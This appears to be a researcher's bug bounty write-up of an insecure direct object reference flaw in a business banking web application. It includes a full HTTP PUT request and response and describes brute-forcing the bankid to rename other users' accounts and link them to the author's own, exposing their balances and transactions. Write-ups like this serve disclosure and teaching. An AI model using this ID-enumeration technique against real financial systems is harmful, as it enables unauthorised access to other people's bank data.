Exploiting an Insecure Direct Object References (IDOR) vulnerability to gain control over other users’ linked bank accounts.

Target Information

The target is a web application designed to facilitate invoice tracking, bill payment, and other transactions for organizations. It functions as a business banking application.

Reconnaissance

Upon examining the application’s features, it was determined that the application is susceptible to an Insecure Direct Object References (IDOR) vulnerability. The vulnerability arises due to the application’s reliance on user-provided input in the URL and JSON objects within the request body to perform actions on its APIs.

Exploitation

Several endpoints were exploited to gain unauthorized access to other organizations’ users’ invoices, transaction details, and bills.

A noteworthy feature of the application allows users to link their bank accounts within the application. Upon merging accounts, the application generates a virtual bank account, such as the “ABC Virtual Bank Account” from “ABC Internet Bank.”

To facilitate easy identification of bank account details, the application offers a feature allowing users to rename their accounts with nicknames. The following request demonstrates this functionality:

Request

PUT /connected_banking/12345 HTTP/2
Host: www.target.com
Cookie: blah...blah...blah...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.target.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers

{
	"bankid": 12345,
	"account_nickname": "thevillagehacker",
	"account_id": 1111,
	"company_id": 0000
}

Response

HTTP/1.1 200 OK 
Access-Control-Allow-Origin: * 
Content-Type: application/json; charset=utf-8 
Set-Cookie: blah...blah...blah...; Path=/; HttpOnly 
X-Frame-Options: SAMEORIGIN 
X-Content-Type-Options: nosniff 
X-XSS-Protection: 1; mode=block 
Referrer-Policy: strict-origin-when-cross-origin 
Connection: close 
Strict-Transport-Security: max-age=31536000; includeSubDomains

{
	"abc_account_id": 12345,
	"account_nickname": "thevillagehacker",
	"account_id": 1111,
	"company_id": 0000,
	"current_balance": 10000.00
}

The above request illustrates that the application utilizes the bank ID from the URL and the JSON object in the request body. By brute-forcing the bankid, I was able to change the nicknames of other users’ bank accounts.

The IDOR vulnerability did not end there. Whenever I modified the nickname of users’ bank accounts, those accounts became linked to my “ABC Virtual Bank Account.” Consequently, I gained access to the bank account details, balances, transactions, and other information of these users.

Thank you for reading.

Follow me on Twitter: thevillagehacker